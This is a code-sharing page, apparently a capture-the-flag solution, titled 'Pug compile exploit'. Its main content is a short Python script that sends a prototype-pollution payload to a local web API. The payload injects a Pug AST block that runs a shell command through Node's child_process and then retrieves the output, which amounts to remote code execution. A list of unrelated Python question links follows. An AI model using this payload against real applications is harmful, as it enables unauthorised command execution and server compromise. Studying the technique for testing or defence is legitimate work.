Pug compile exploit

import requests

ENDPOINT = 'http://127.0.0.1:1337/api/submit'
OUTPUT = 'http://127.0.0.1:1337/static/out'

request = requests.post(ENDPOINT, json = {
   "artist.name":"Gingell",
       "__proto__.block": {
           "type":"Text",
           "line":"process.mainModule.require('child_process').execSync('ls > /app/static/out')"
       }
})
print (request.text)
print (requests.get(OUTPUT).text)

Similar codes

0 vote106 views1 answer
! LaTeX Error: File `pgf{-}pie.sty' not found.
Python
1 vote116 views1 answer
X= [10] def List_ex(): x.append(20) def add_list(): x=[30,40] x.append(50) print (x) List_ex() print (x) add_list() print (x)
Python
1 vote129 views1 answer
How to set class attributes with kwargs python
Python
0 vote116 views1 answer
Python string replace letters with numbers
Python
6 votes133 views2 answers
How to run a File using python
Python
0 vote117 views1 answer
What does triple quotes mean in python
Python
9 votes140 views2 answers
Django delete instance
Python Django
4 votes111 views3 answers
Python image crop
Python
2 votes113 views1 answer
Functions python examples
Python
0 vote104 views1 answer
Pandas get size of each group
Python